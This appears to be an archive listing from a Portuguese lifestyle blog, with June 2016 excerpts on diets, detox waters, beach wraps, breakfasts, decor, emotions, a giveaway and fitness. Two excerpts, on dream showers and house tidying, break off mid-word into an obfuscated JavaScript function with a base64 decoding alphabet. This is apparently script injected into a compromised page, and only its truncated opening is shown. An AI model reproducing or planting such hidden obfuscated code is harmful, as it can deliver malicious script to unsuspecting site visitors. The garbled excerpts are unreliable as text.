Jun 27, 2016 | Em Alta, Equilíbrio, Saúde e bem estar
Super satisfeita com a minha dieta ❤ Olá, cá estou eu de novo para vos dar notícias de como está a correr a minha dieta Lev. Fantástica. Aliás, nem é preciso dizer. Os resultados estão à vista. Estou mais magrita! Que bom! E adaptei-me com muita facilidade a este...
Jun 25, 2016 | Equilíbrio, Saúde e bem estar
Águas detox de Kiwi, Limão e Morangos por Luísa Fortes da Cunha Água com Kiwi Ingredientes 1 Litro de água 2kiwis Umas gotas de limão Preparação Comece por cortar os kiwis às rodelas. Depois coloque os kiwis cortados num jarro e junte a água. Acrescente umas gotas...
Jun 25, 2016 | Apanhados na rede, Olha que giro
10 duches de sonho, qual o seu favorito? Que calor! Um duche destes seria uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jun 23, 2016 | À descoberta, Dicas úteis
Os pareos (ou cangas) são um acessório obrigatório para as mulheres no verão. Além de práticos, são super versáteis. Tanto pode estendê-los na praia a fazer de toalha, como enrolá-los à volta do corpo para ir ao bar ou mesmo fazer bolsas de praia com eles. Veja só de...
Jun 22, 2016 | À descoberta, Receitas
3 Pequenos-almoços para manter a barriga lisa Reduzir ou evitar a gordura na zona abdominal passa por adotar rotinas saudáveis, como o bom sono, controlo do stress, exposição à luz solar (pela vitamina D), exercício físico e, claro, a alimentação. Toda a gente sabe...
Jun 21, 2016 | À descoberta, Dicas úteis
Bengaleiros que fazem toda a diferença Reciclar é sempre uma boa ideia! Pegar em objectos que já não usamos e dar-lhes uma nova vida, em vez de nos desfazermos deles. Também podemos juntar este e aquele elemento e ganhar um novo objecto completamente diferente e bem...
Jun 20, 2016 | Equilíbrio, Saúde e bem estar
Gerir as emoções para ser mais feliz Saber gerir as emoções é uma tarefa fundamental para o nosso bem-estar, e para enfrentarmos todas as situações desafiantes que surgem ao longo da vida. Em «Uma caixa de primeiros socorros das emoções», a psicóloga Maria Palha...
Jun 19, 2016 | Passatempos, Passatempos
–// ACTUALIZAÇÃO EM 26 JUNHO 2016 ANÚNCIO DE VENCEDORES Os vencedores deste Passatempo são: 1) Gonçalo Marques 2) Gisela Oliveira 3) Marlene Gonçalves Muitos Parabéns aos 3! Peço a cada um que me envie uma mensagem na minha página de Facebook para combinarmos os...
Jun 17, 2016 | Equilíbrio, header, Saúde e bem estar, sidebar 2
As melhores dicas para ganhar massa muscular O verão aproxima-se e intensificam-se as preocupações com a silhueta que vamos exibir na praia. Se quer ter um corpo mais firme e definido, tem de reforçar a sua massa muscular. O nutricionista clínico Custódio César,...
Jun 17, 2016 | À descoberta, Dicas úteis
9 regras para uma casa arrumada É tempo de dar um volta na sua casa. Durante o ano vamos acumulfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
